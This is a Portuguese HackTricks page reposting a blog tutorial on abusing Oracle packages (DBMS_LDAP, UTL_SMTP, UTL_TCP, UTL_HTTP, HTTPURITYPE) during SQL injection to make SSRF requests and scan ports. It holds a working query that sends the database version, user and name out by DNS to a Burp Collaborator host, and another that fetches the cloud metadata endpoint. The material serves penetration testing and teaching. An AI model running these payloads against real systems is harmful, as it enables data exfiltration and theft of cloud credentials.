<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
**Sirva esta postagem como uma cópia da máquina do tempo do post excluído de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
Usar o Oracle para fazer solicitações HTTP e DNS fora de banda é bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outros SSRF/XSPA.
Instalar o Oracle pode ser realmente doloroso, especialmente se você deseja configurar uma instância rápida para experimentar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me indicou o [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina AWS Ubuntu t2.large e Docker.
Executei o comando docker com a flag `--network="host"` para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, durante o curso deste post no blog.
#### Pacotes Oracle que suportam uma especificação de URL ou Nome do Host/Número da Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Para encontrar quaisquer pacotes e funções que suportem uma especificação de host e porta, executei uma pesquisa no Google na [Documentação Online do Banco de Dados Oracle](https://docs.oracle.com/database/121/index.html). Especificamente,
Esta pesquisa rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) pois a [página de documentação](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplesmente o direciona para uma [localização diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações de saída que eu possa ter perdido.
O pacote `DBMS_LDAP` permite o acesso a dados de servidores LDAP. A função `init()` inicializa uma sessão com um servidor LDAP e recebe um nome de host e número de porta como argumento.
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
No entanto, dado que a função aceita um nome de host e um número de porta como argumentos, você pode usar isso para funcionar como um scanner de portas também.
O pacote `UTL_SMTP` é projetado para enviar e-mails via SMTP. O exemplo fornecido no [site de documentação da Oracle mostra como você pode usar este pacote para enviar um e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Para nós, no entanto, o interessante é a capacidade de fornecer um host e especificação de porta.
Um `ORA-29276: tempo de transferência expirado` indica que a porta está aberta, mas nenhuma conexão SMTP foi estabelecida, enquanto um `ORA-29278: erro transitório SMTP: 421 Serviço não disponível` indica que a porta está fechada.
O pacote `UTL_TCP` e seus procedimentos e funções permitem [comunicação baseada em TCP/IP com serviços](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programado para um serviço específico, este pacote pode facilmente se tornar uma forma de acessar a rede ou realizar solicitações completas do lado do servidor, pois todos os aspectos de uma conexão TCP/IP podem ser controlados.
O exemplo [no site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificar um pouco mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de metadados da Instância de todos os provedores de nuvem, já que o tipo de método e cabeçalhos adicionais podem ser passados dentro da solicitação TCP.
Talvez a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção de SQL Oracle Out of Band seja o [pacote `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Este pacote é definido pela documentação como - `O pacote UTL_HTTP faz chamadas de Protocolo de Transferência de Hipertexto (HTTP) do SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet via HTTP.`
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados é um sinal de que a porta está aberta.
Outro pacote que já utilizei no passado com sucesso variado é o [método `GETCLOB()` do tipo abstrato Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interagir com uma URL e oferece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;